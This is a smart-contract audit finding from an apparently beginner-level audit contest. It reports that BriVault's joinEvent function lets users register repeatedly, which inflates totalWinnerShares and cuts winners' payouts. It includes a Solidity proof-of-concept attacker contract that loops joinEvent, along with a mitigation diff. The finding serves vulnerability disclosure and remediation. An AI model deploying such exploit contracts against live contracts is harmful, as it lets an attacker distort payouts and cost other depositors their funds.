BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Duplicate Participation Vulnerability

Root + Impact

Description

  • The contract allows users to join the event multiple times without validation, causing their shares to be counted multiple times in the winner calculation. This results in an inflated totalWinnerShares value, which directly reduces the payout amount for all winners. The normal behavior should be that each user's shares are counted only once, regardless of how many times they call joinEvent.

  • The vulnerability exists in the joinEvent function where user addresses are appended to usersAddress without checking for duplicates:

function joinEvent(uint256 countryId) public {
// ... (other checks)
usersAddress.push(msg.sender); // @> This line appends user address without duplicate check
numberOfParticipants++;
totalParticipantShares += participantShares;
}

Risk

Likelihood:

  • The vulnerability will occur whenever a user calls joinEvent multiple times during the event registration period.

  • This is trivially exploitable by any user with basic knowledge of smart contracts.

Impact:

  • Winners receive significantly reduced payouts (up to 50% reduction if a user joins twice).

  • The contract's financial integrity is compromised as the actual payout amount is mathematically reduced by the number of duplicate joins.

Proof of Concept

Deploy the attacker contract with the BriVault address. Ensure the attacker has deposited assets and joined the event once. Then, call joinEvent multiple times before the event starts. Each call pushes the attacker’s address again into usersAddress. When the admin sets the winner (which matches the attacker’s chosen country), _getWinnerShares() iterates over all entries in usersAddress, counting the attacker’s shares once per duplicate entry. This inflates totalWinnerShares, reducing the payout for all winners—including the attacker—by a factor proportional to the number of duplicates.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./BriVault.sol"; // assuming BriVault is deployed at a known address
contract DuplicateJoinAttacker {
BriVault public vault;
address public owner;
constructor(address _vault) {
vault = BriVault(_vault);
owner = msg.sender;
}
// Step 1: Deposit into the vault (must happen before eventStartDate)
function deposit(uint256 amount) external {
IERC20 assetToken = IERC20(vault.asset());
assetToken.approve(address(vault), amount);
vault.deposit(amount, msg.sender);
}
// Step 2: Join the same country multiple times
function spamJoin(uint256 countryId, uint256 times) external {
require(msg.sender == owner, "only owner");
for (uint256 i = 0; i < times; i++) {
vault.joinEvent(countryId); // Each call pushes msg.sender to usersAddress again
}
}
// Step 3: After winner is set (and matches countryId), call withdraw
function withdraw() external {
vault.withdraw();
}
}

Recommended Mitigation

error noDeposit();
error eventNotStarted();
error WinnerAlreadySet();
error limiteExceede();
+ error AlreadyJoined(); // 新增
+ mapping(address => bool) public hasJoined; // 记录用户是否已参与
function joinEvent(uint256 countryId) public {
if (hasJoined[msg.sender]) {
revert AlreadyJoined(); // 新增错误
}
// ... 原有校验逻辑
+ hasJoined[msg.sender] = true; // 标记已参与
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
+ error AlreadyJoined(); // 在错误声明部分添加
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Duplicate registration through `joinEvent`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!